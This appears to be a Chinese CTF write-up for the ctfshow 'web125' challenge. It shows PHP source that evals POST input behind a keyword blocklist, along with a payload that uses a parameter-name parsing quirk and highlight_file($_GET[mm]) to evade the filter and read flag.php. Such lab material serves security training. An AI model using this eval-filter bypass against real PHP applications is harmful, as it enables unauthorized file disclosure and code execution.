web125笔记(+禁⽤echo、flag)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

在上一题基础上过滤了flag和echo关键字,我们可以用highlight_file来显示文件,因为flag被在post中被ban了,我们通过get来传参,所以payload为

?mm=flag.php

post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[mm])
之前payload⽤不了了,因为禁⽤了echo、flag,这⾥⽤命令执⾏那边的知识点
上一题payload:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

 

 

 
 
 
posted @ 2025-03-25 18:46  justdoIT*  阅读(8)  评论(0)    收藏  举报